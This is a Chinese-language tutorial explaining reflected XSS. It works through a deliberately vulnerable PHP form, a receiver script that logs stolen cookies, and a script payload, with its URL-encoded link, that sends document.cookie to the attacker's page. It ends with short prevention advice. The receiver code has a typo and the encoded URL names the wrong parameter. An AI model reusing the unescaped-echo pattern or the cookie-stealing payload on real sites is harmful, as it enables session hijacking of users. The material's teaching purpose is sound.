XSS跨站脚本攻击过程的讲解

时间:2022-10-28 23:56:56

跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。以下为能够演示器原理的完整样例:

1.角色分配

有XSS漏洞的网站
受害访问者。也就是浏览器
黑客的数据接受网站

2.源码实例

2.1漏洞网站

漏洞网站:http://localhost/xss.php

<?php
session_start();
?>
<!doctype html>
<html>
    <head>
        <title>XSS</title>
    </head>
    <body>
        <form>
             <input type="text" name="address" value="<?php echo $_GET['address'];?>"/>
             <input type="submit" value="submit" />
        </form>
    </body>
</html>

该网页把用户通过GET发送过来的表单数据,未经过处理直接写入返回的html流,这就是XSS漏洞所在

2.2黑客接受网站

接受网站的URL为http://localhost/xss_hacker.php

<?php $victim = 'XSS得到的 cookie:'.$_SERVER['REMOTE_ADDR'].':'.$_GET['cookie']; fill_put_contents('xss_victim.txt',$victim); ?>

把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用

2.3用户正常访问

用户使用浏览器访问网站。现在的网站一般都采用session+cookie来保存用户登录信息的。网站通过验证cookie来确实是否是合法已登录用户,所以cookie是敏感数据.

3.攻击过程

3.1黑客准备攻击字符串,构造攻击URL

黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串为:

"/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--

此时,用户访问漏洞网站的html代码,被修改成了这样:

<!doctype html>
<html>
    <head>
        <title>XSS</title>
    </head>
    <body>
        <form>
             <input type="text" name="address" value=""/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--"/> <input type="submit" value="submit" /> </form> </body> </html>

明显看出,这个html回去执行一个脚本,这个脚本的功能是把用户的cookie发送到黑客的接受网站。
最终生成的攻击URL为:

http://localhost/xss.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2Flocalhost%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21–
接下来要做的就是,寻找受害人,诱惑其点击上述的URL。

3.2用户敏感数据被发送到黑客接受网站

受害用户访问攻击URL后,其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件 中,当然现实的情况一定是存入数据库中了。xss_victim.txt中现在保存了受害者的敏感数据。
XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30

3.3黑客利用敏感数据做坏事

有了受害用户的敏感数据,就可以利用这些数据做各种坏事了,比如以受害用户的身份登录漏洞网站,等等

4.XSS的预防

XSS的预防可以从多方面着手:

1. 浏览器自身就可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;
2. 从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全符等手段,始终把安全 放在心上;